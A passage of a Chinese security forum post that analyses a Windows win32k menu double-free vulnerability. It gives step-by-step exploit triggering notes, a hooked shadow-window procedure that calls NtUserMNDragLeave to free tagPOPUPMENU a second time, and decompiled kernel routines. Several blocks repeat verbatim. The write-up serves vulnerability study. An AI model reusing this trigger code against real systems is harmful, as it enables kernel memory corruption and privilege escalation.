        DispatchMessageW(&msg);
    }
 
    return 0;
}
 
 
 
-->创建两个弹出菜单 第二个为第一个的子菜单
-->调用xxxCreateWindowExW创建窗口对象作为窗口对象的拥有者
-->开始Hook 对于前两次进入的函数调用函数SetWindowPos触发创建新的阴影窗口关联的逻辑 第三次调用SetWindowLong将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数
-->第一次正常调用发送菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息显示子菜单 第二次发送MN_ENDMENU消息关闭菜单
-->调用xxxMNEndMenuSate销毁菜单信息释放tagPOPUPMENU内存对象
-->将根菜单的根技术变为0 销毁菜单对象 会调用xxxRemoveShadow消除阴影窗口对象 然后就来到我们自定义的阴影窗口消息处理函数
-->再次调用xxxMNEndMenuState来二次释放tagPOPMENU内存区域
-->创建两个弹出菜单 第二个为第一个的子菜单
-->调用xxxCreateWindowExW创建窗口对象作为窗口对象的拥有者
-->开始Hook 对于前两次进入的函数调用函数SetWindowPos触发创建新的阴影窗口关联的逻辑 第三次调用SetWindowLong将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数
-->第一次正常调用发送菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息显示子菜单 第二次发送MN_ENDMENU消息关闭菜单
-->调用xxxMNEndMenuSate销毁菜单信息释放tagPOPUPMENU内存对象
-->将根菜单的根技术变为0 销毁菜单对象 会调用xxxRemoveShadow消除阴影窗口对象 然后就来到我们自定义的阴影窗口消息处理函数
-->再次调用xxxMNEndMenuState来二次释放tagPOPMENU内存区域
LRESULT WINAPI
xxShadowWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == WM_NCDESTROY)
    {
        xxSyscall(num_NtUserMNDragLeave, 0, 0);
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}
LRESULT WINAPI
xxShadowWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == WM_NCDESTROY)
    {
        xxSyscall(num_NtUserMNDragLeave, 0, 0);
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}
 
int __stdcall NtUserMNDragLeave()
{
  signed int v0; // esi
 
  UserEnterUserCritSec();
  v0 = xxxMNDragLeave();//这里进入
  UserSessionSwitchLeaveCrit();
  return v0;
}
 
signed int __stdcall xxxMNDragLeave()
{
  _DWORD *v0; // esi
 
  v0 = (_DWORD *)*((_DWORD *)gptiCurrent + 65);
  if ( !v0 )
    return 0;
  ++v0[7];
  xxxMNSetGapState(v0[14], v0[15], v0[16], 0);
  UnlockMFMWFPWindow(v0 + 14);
  v0[15] = -1;
  v0[16] = 0;
  v0[1] &= 0xFFFF7FFF;
  xxxUnlockMenuState(v0);
  return 1;
}
 
signed int __stdcall xxxUnlockMenuState(_DWORD *a1)
{
  bool v1; // zf
 
  v1 = a1[7]-- == 1;
  if ( !v1 || !ExitMenuLoop(a1, *a1) )
    return 0;
  xxxMNEndMenuState(1);
  return 1;
}
int __stdcall NtUserMNDragLeave()
{
  signed int v0; // esi

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-12-2 00:28 被Ring3编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (1)
雪    币: 4120
活跃值: (5822)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
学习了
2021-11-17 16:05
0
游客
登录 | 注册 方可回帖
返回
//